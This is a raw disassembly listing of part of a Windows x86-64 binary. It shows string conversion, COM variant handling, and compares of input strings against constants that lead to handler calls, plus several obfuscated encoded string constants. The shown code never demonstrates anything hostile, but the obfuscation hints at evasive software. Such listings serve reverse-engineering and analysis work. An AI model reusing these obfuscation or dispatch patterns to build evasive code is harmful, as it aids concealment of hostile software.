lea rax, [rsp + 0xf8]
mov qword [rsp + 0xb78], rax
lea rcx, [rsp + 0x660]
call fcn.140038860
nop
lea r8, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0x10
cmovae r8, qword [rsp + 0x198]
mov r9, qword [rsp + 0x1a8]
add r9, r8
lea rdx, [rsp + 0x408]
lea rcx, [rsp + 0x660]
call fcn.140039bf0
nop
lea r12, vtable.std::wstring_convert_class_std::codecvt_utf8_utf16_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x660], r12
lea rcx, [rsp + 0x6a0]
call fcn.140031830
lea rcx, [rsp + 0x680]
call fcn.1400305d0
mov rcx, qword [rsp + 0x678]
test rcx, rcx
je 0x14014c181
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014c181
mov rcx, qword [rax]
mov r8, qword [rcx]
mov ebx, 1
mov edx, ebx
mov rcx, rax
call r8
jmp 0x14014c186
mov ebx, 1
lea rdi, [rsp + 0x408]
cmp qword [rsp + 0x420], 8
cmovae rdi, qword [rsp + 0x408]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f4ac
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0xf8], rax
mov rdx, rdi
lea rcx, [rsp + 0xf8]
call fcn.140031e00
test al, al
jne 0x14014c202
test rdi, rdi
jne 0x14014c1e1
mov eax, r14d
jmp 0x14014c1ee
mov rax, rsi
inc rax
cmp word [rdi + rax*2], 0
jne 0x14014c1e4
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0xf8]
call fcn.140032190
nop
mov rcx, qword [rsp + 0x130]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x158], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xb8]
call fcn.14004beb0
nop
mov r8, r13
lea rdx, [rsp + 0xf8]
mov rcx, rax
call fcn.14004f7f0
nop
lea rcx, [rsp + 0x408]
call fcn.140031830
lea rax, [rsp + 0x90]
mov qword [rsp + 0xb78], rax
mov rcx, qword [0x140223c08]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x90]
call fcn.14004beb0
mov qword [rsp + 0xb70], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x9a0]
call fcn.140038860
nop
lea r8, [rsp + 0x310]
cmp qword [rsp + 0x328], 0x10
cmovae r8, qword [rsp + 0x310]
mov r9, qword [rsp + 0x320]
add r9, r8
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0x9a0]
call fcn.140039bf0
nop
mov qword [rsp + 0x9a0], r12
lea rcx, [rsp + 0x9e0]
call fcn.140031830
lea rcx, [rsp + 0x9c0]
call fcn.1400305d0
mov rcx, qword [rsp + 0x9b8]
test rcx, rcx
je 0x14014c349
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014c349
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, ebx
mov rcx, rax
call r8
nop
lea rdi, [rsp + 0x428]
cmp qword [rsp + 0x440], 8
cmovae rdi, qword [rsp + 0x428]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f4b7
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x100], rax
mov rdx, rdi
lea rcx, [rsp + 0x100]
call fcn.140031e00
test al, al
jne 0x14014c3ce
test rdi, rdi
jne 0x14014c3a4
mov eax, r14d
jmp 0x14014c3ba
mov rax, rsi
nop word [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14014c3b0
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0x100]
call fcn.140032190
nop
mov r13, qword [rsp + 0xc0]
lea rcx, [r13 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x40]
call fcn.14004beb0
nop
mov r8, qword [rsp + 0xb70]
lea rdx, [rsp + 0x100]
mov rcx, rax
call fcn.14004f7f0
nop
lea rcx, [rsp + 0x428]
call fcn.140031830
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f4c2
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x228], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f4cd
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x80], rax
lea rdi, str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgecnBzY3t7ew
mov rdx, rdi
lea rcx, [rsp + 0x80]
call fcn.140031e00
test al, al
jne 0x14014c4ae
mov rax, rsi
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14014c490
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0x80]
call fcn.140032190
nop
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x7c
lea rdx, str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
lea rcx, [rsp + 0xa20]
call fcn.140038860
nop
lea r8, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 0x10
cmovae r8, qword [rsp + 0x2f0]
mov r9, qword [rsp + 0x300]
add r9, r8
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0xa20]
call fcn.140039bf0
nop
mov qword [rsp + 0xa20], r12
lea rcx, [rsp + 0xa60]
call fcn.140031830
lea rcx, [rsp + 0xa40]
call fcn.1400305d0
mov rcx, qword [rsp + 0xa38]
test rcx, rcx
je 0x14014c567
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014c567
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, ebx
mov rcx, rax
call r8
nop
lea rax, [rsp + 0x530]
cmp qword [rsp + 0x548], 8
cmovae rax, qword [rsp + 0x530]
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa0]
call fcn.140038860
nop
lea r8, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0x10
cmovae r8, qword [rsp + 0x198]
mov r9, qword [rsp + 0x1a8]
add r9, r8
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0xaa0]
call fcn.140039bf0
nop
mov qword [rsp + 0xaa0], r12
lea rcx, [rsp + 0xae0]
call fcn.140031830
lea rcx, [rsp + 0xac0]
call fcn.1400305d0
mov rcx, qword [rsp + 0xab8]
test rcx, rcx
je 0x14014c61b
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014c61b
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, ebx
mov rcx, rax
call r8
nop
lea rax, [rsp + 0x510]
cmp qword [rsp + 0x528], 8
cmovae rax, qword [rsp + 0x510]
mov qword [rsp + 0xb78], rax
lea rcx, [rsp + 0x5e0]
call fcn.140038860
nop
lea r8, [rsp + 0x330]
cmp qword [rsp + 0x348], 0x10
cmovae r8, qword [rsp + 0x330]
mov r9, qword [rsp + 0x340]
add r9, r8
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x5e0]
call fcn.140039bf0
nop
mov qword [rsp + 0x5e0], r12
lea rcx, [rsp + 0x620]
call fcn.140031830
lea rcx, [rsp + 0x600]
call fcn.1400305d0
mov rcx, qword [rsp + 0x5f8]
test rcx, rcx
je 0x14014c6cf
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014c6cf
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, ebx
mov rcx, rax
call r8
nop
lea r12, [rsp + 0x4f0]
cmp qword [rsp + 0x508], 8
cmovae r12, qword [rsp + 0x4f0]
mov qword [rsp + 0x200], r14
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], r14
lea r14, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r14, qword [rsp + 0x60]
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f4d8
mov qword [rsp + 0x218], 7
cmp rdi, 8
jae 0x14014c75c
mov qword [rsp + 0x210], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rsp + 0x200]
call fcn.140185440
jmp 0x14014c7b3
mov rcx, rdi
or rcx, 7
cmp rcx, rbx
ja 0x14014c777
mov rbx, rcx
mov eax, 0xa
cmp rcx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x200]
call fcn.140030fc0
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x210], rdi
mov qword [rsp + 0x218], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x448]
call fcn.14004bc20
nop
mov rcx, qword [rsp + 0xb70]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0xb78]
mov r8, r12
mov rdx, qword [rax]
lea rcx, [rsp + 0x228]
call fcn.140025c80
nop
mov rdx, qword [rsp + 0x448]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014c814
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4f0]
call fcn.140031830
nop
lea rcx, [rsp + 0x510]
call fcn.140031830
nop
lea rcx, [rsp + 0x530]
call fcn.140031830
mov rbx, qword [r15 + 0x20]
mov r14, qword [rsp + 0x80]
lea rcx, [r14 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x220], rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x3d0]
call fcn.14004beb0
mov r8d, 4
mov rdx, rax
mov rcx, rbx
call fcn.14006cf00
mov rbx, qword [r15 + 0x20]
mov rdi, qword [rsp + 0x228]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x230], rax
mov r8d, 8
lea rdx, [rsp + 0x230]
mov rcx, rbx
call fcn.14006cf00
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14014c8ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014c8f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f4de
call fcn.140183144
nop
mov eax, esi
lock xadd dword [r14 - 8], eax
sub eax, 1
jg 0x14014c91b
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x14014c936
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r13 - 8], eax
sub eax, 1
jg 0x14014c952
mov rcx, qword [r13 - 0x18]
mov rax, qword [rcx]
lea rdx, [r13 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x158]
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14014c96e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x308]
cmp rdx, 0x10
jb 0x14014c9b1
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014c9ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f4e4
call fcn.140183144
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x300], xmm0
mov byte [rsp + 0x2f0], 0
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x14014ca0d
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014ca08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f4ea
call fcn.140183144
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x320], xmm0
mov byte [rsp + 0x310], 0
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0x10
jb 0x14014ca69
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014ca64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f4f0
call fcn.140183144
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x1a8], xmm0
mov byte [rsp + 0x198], 0
mov rdx, qword [rsp + 0x348]
cmp rdx, 0x10
jb 0x14014cac5
inc rdx
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014cac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f4f6
call fcn.140183144
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x340], xmm0
mov byte [rsp + 0x330], 0
mov rdx, qword [rsp + 0x368]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f4fc
jmp 0x14014b5f4
lea rcx, [rsp + 0x5b0]
call fcn.1400305d0
lea rdx, [0x14021e098]
lea rcx, [rsp + 0x428]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014cf70
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014cb60
test rax, rax
je 0x14014cf70
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014cf70
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014cb91
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x428]
call fcn.1400305d0
test edi, edi
je 0x14014cf7d
mov qword [rsp + 0x370], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x380], xmm0
mov byte [rsp + 0x370], r14b
movsxd rdi, r12d
add rdi, rbx
mov r12, rsi
inc r12
cmp byte [rbx + r12], 0
jne 0x14014cbe4
add r12, rbx
cmp rdi, r12
je 0x14014cc5a
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x380]
mov rdx, qword [rsp + 0x388]
cmp rcx, rdx
jae 0x14014cc45
lea rax, [rcx + 1]
mov qword [rsp + 0x380], rax
lea rax, [rsp + 0x370]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x370]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014cc52
lea rcx, [rsp + 0x370]
call fcn.1400290b0
inc rdi
cmp rdi, r12
jne 0x14014cc00
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f502
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x258], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f50d
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x250], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f518
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x248], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f523
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x240], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f52e
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x238], rax
mov dword [rsp + 0xb70], r14d
lea rax, [rsp + 0x238]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x248]
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x370]
call fcn.14004ffe0
mov rdi, qword [r15 + 0x18]
mov rdx, r15
lea rcx, [0x140223d10]
call fcn.140023be0
mov ebx, dword [rax]
lea rax, [rsp + 0x260]
mov qword [rsp + 0x5d8], rax
mov rcx, qword [rsp + 0x238]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x160], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x268]
mov qword [rsp + 0x3e0], rax
mov r13, qword [rsp + 0x240]
lea rcx, [r13 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x268], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x3d8], rax
mov r12, qword [rsp + 0x248]
lea rcx, [r12 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x278]
mov qword [rsp + 0x3f0], rax
mov r15, qword [rsp + 0x250]
lea rcx, [r15 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x278], rax
mov r14, qword [rsp + 0x258]
lea rcx, [r14 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x280], rax
mov dword [rsp + 0x38], ebx
mov eax, dword [rsp + 0xb70]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x268]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x270]
lea r8, [rsp + 0x278]
lea rdx, [rsp + 0x280]
mov rcx, rdi
call fcn.140007590
nop
mov eax, esi
mov rdx, qword [rsp + 0x160]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14014ceb4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r13 - 8], eax
sub eax, 1
jg 0x14014ced0
mov rcx, qword [r13 - 0x18]
mov rax, qword [rcx]
lea rdx, [r13 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r12 - 8], eax
sub eax, 1
jg 0x14014ceef
mov rcx, qword [r12 - 0x18]
mov rax, qword [rcx]
lea rdx, [r12 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r15 - 8], eax
sub eax, 1
jg 0x14014cf0b
mov rcx, qword [r15 - 0x18]
mov rax, qword [rcx]
lea rdx, [r15 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lock xadd dword [r14 - 8], esi
sub esi, 1
jg 0x14014cf25
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x388]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f539
jmp 0x14014b5f4
lea rcx, [rsp + 0x428]
call fcn.1400305d0
lea rdx, [0x14021e218]
lea rcx, [rsp + 0x408]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014d299
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014cfa0
test rax, rax
je 0x14014d299
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014d299
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014cfd1
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x408]
call fcn.1400305d0
test edi, edi
je 0x14014d2a6
mov qword [rsp + 0x2d0], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x2e0], xmm0
mov byte [rsp + 0x2d0], r14b
movsxd rdi, r12d
add rdi, rbx
mov r14, rsi
inc r14
cmp byte [rbx + r14], 0
jne 0x14014d024
add r14, rbx
cmp rdi, r14
je 0x14014d09a
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e8]
cmp rcx, rdx
jae 0x14014d085
lea rax, [rcx + 1]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2d0]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x2d0]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014d092
lea rcx, [rsp + 0x2d0]
call fcn.1400290b0
inc rdi
cmp rdi, r14
jne 0x14014d040
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f53f
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x298], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f54a
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x290], rax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f555
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x288], rax
lea r9, [rsp + 0x288]
lea r8, [rsp + 0x290]
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x2d0]
call fcn.140055970
mov rbx, qword [r15 + 0x18]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0xf0], rax
mov r12, qword [rsp + 0x288]
lea rcx, [r12 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0x2a8]
mov qword [rsp + 0x3f0], rax
mov r14, qword [rsp + 0x290]
lea rcx, [r14 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x2a8], rax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x3d8], rax
mov rdi, qword [rsp + 0x298]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x2b0], rax
mov rcx, qword [r15]
sub rcx, 0x18
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2a8]
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x2b8]
mov rcx, rbx
call fcn.140007af0
nop
mov eax, esi
lock xadd dword [r12 - 8], eax
sub eax, 1
jg 0x14014d219
mov rcx, qword [r12 - 0x18]
mov rax, qword [rcx]
lea rdx, [r12 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, esi
lock xadd dword [r14 - 8], eax
sub eax, 1
jg 0x14014d235
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lock xadd dword [rdi - 8], esi
sub esi, 1
jg 0x14014d24e
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f560
jmp 0x14014b5f4
lea rcx, [rsp + 0x408]
call fcn.1400305d0
lea rdx, [0x14021df98]
lea rcx, [rsp + 0x490]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014d60d
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014d2d0
test rax, rax
je 0x14014d60d
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014d60d
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014d301
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x490]
call fcn.1400305d0
test edi, edi
je 0x14014d61a
mov qword [rsp + 0x1e0], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], r14b
movsxd rdi, r12d
add rdi, rbx
mov r12, rsi
inc r12
cmp byte [rbx + r12], 0
jne 0x14014d354
add r12, rbx
cmp rdi, r12
je 0x14014d3ca
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f8]
cmp rcx, rdx
jae 0x14014d3b5
lea rax, [rcx + 1]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x1e0]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x1e0]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014d3c2
lea rcx, [rsp + 0x1e0]
call fcn.1400290b0
inc rdi
cmp rdi, r12
jne 0x14014d370
xor r8d, r8d
lea rdx, [0x1401e3cf8]
lea rcx, [rsp + 0x1e0]
call fcn.14002ee10
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov ecx, 0x48
call fcn.1401833e0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
call fcn.14004e390
lea rdx, [rsp + 0x40]
mov rcx, qword [r15 + 0x18]
call fcn.140018dd0
nop
mov r8, qword [rsp + 0x40]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.14005cdd0
mov edx, 0x48
mov rcx, qword [rsp + 0x40]
call fcn.140183144
nop
jmp 0x14014d465
lea rdx, [0x140223be8]
lea rcx, [rsp + 0x960]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0x3f8]
call fcn.14004bc20
mov rcx, qword [rax]
mov rdx, qword [r15]
sub rdx, rcx
movzx ebx, word [rcx]
movzx eax, word [rcx + rdx]
sub ebx, eax
jne 0x14014d4a5
add rcx, 2
test eax, eax
jne 0x14014d492
mov rdx, qword [rsp + 0x3f8]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14014d4c4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test ebx, ebx
je 0x14014d5c2
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x2c
lea rdx, str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
mov r15, qword [r15 + 0x20]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rsi, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rsi, qword [rsp + 0x60]
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f566
mov qword [rsp + 0x58], 7
lea rcx, [rsp + 0x40]
cmp rdi, 8
jae 0x14014d558
mov qword [rsp + 0x50], rdi
mov r8d, 0x10
mov rdx, rsi
call fcn.140185440
jmp 0x14014d593
mov rdx, rdi
call fcn.140030e10
mov rbx, rax
lea rdx, [rax + 1]
lea rcx, [rsp + 0x40]
call fcn.140030fc0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xb68]
call fcn.14004bc20
mov r8d, 1
mov rdx, rax
mov rcx, r15
call fcn.14006cf00
nop
lea rcx, [rsp + 0x60]
call fcn.140031830
nop
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
